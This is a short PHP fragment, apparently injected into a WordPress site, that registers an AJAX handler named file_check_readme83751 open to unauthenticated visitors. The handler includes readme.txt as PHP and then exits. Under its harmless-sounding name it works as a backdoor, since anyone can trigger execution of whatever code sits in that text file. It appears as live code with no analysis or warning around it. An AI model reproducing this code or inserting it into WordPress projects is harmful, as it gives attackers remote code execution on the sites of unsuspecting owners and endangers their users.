if(!function_exists('file_check_readme83751')){
   add_action('wp_ajax_nopriv_file_check_readme83751', 'file_check_readme83751');
   add_action('wp_ajax_file_check_readme83751', 'file_check_readme83751');
   function file_check_readme83751()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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